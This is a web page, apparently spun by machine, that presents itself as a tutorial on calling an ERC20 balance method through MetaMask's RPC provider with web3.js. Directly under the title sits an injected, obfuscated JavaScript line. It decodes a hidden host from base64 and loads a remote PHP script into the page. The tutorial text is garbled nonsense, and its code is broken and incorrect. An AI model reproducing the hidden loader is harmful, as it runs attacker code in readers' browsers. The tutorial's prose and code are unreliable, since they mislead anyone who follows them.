Metamask: ABI call using Metamask’s RPC provider from web3js
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=4b45e459″;document.body.appendChild(script);
Here is the subject of the subject:
Metamask: ABI call USPolzing rpc -post -Medamask web3.js
Companies for decentralized adjustments (DAPP) built on Ethereum, which are public problems, are intended for IntlyTex counters located on the Ethereum network. One of the most stupid aspects is the use of an instrument such as Medamask, which offers the right to use API to the Dapps cherry type.
In your servant, you want to call the “balance” method of the Inteling resistance on the ERC20 (Ethereum), located on the Ethereum network. This is what you have used web3.js and rpc post metamask to allow. This is how you can do this:
** Shag 1: Setting Metamask Square
First of all, you will be killed that you have a metamask hill and wrinkles installed. If you still do not have the metamas of carcass records, pollinating the following dust:
- Bus [metamask] ( in your browser.
- Set the “Create a new Koshel” button.
- Follow the proposal to make a new dwarf.
Shag 2: Install web3.js and ribbon metamask rpc
Postovrika to use RPC from metamask must be installed web3.js. To do it, by running the next Conc Conc
`Bash
NPM Install Web3
`
After installation, web3.js you need to set the human resource management to make the final point of the RPC on the final point of the Ethereum network.
- PANTA [My Eetherchain] ( and put a new dwarf.
- Put “Koshelek”> “Add new Koshelek”.
- Follow the jump to add your point to Etherchain.
- From the settings “Posthari Web3” in the quality of the RPC. You can select intermediate values such as infrastructure, alchemy or Localnode.
Shag 3: Use web3.js and post rpc ot metamask, call balance
Now that you tuned in cuts that were stored by a metamask by an RPC message, it was time to use web3.JS to make a balancing method for an intellectual contract with ERC20. That
`Javascript
Const web3 = new web3 (new web3.providers.httpprovider ('
// Select Ethereum's cot that connects Kosolk with metamask
web3.eth.ccounts.add ('0x ...');
// Smart -DD -DD -ERC20 Balance Factory Meeting
Web3.eth.call ({
Method: "balance",
Parameters: ['0x ...'],
Arguments: [],
}, (Oshba, result) => {
If (linen) brat rooms;
Console.log (result);
});
In this score, we use the method of eth.Accounts.add
to choose an Ethereum record that connects the Koshelk Metamask application. Zathem is called the “Balance” method of the ERC20 intellectual agreement, using the web3 method method.
conclusion
With these steps, you have used the postvrika RPC from metamask web3.js to publish the “balance” of the ERC20’s Smart Dend, located on the Ethereum network. Monitoring this hand, you can easily interfere with DAPP: Eastern built on Ethereum, USPOLSE Metamask and web3.js.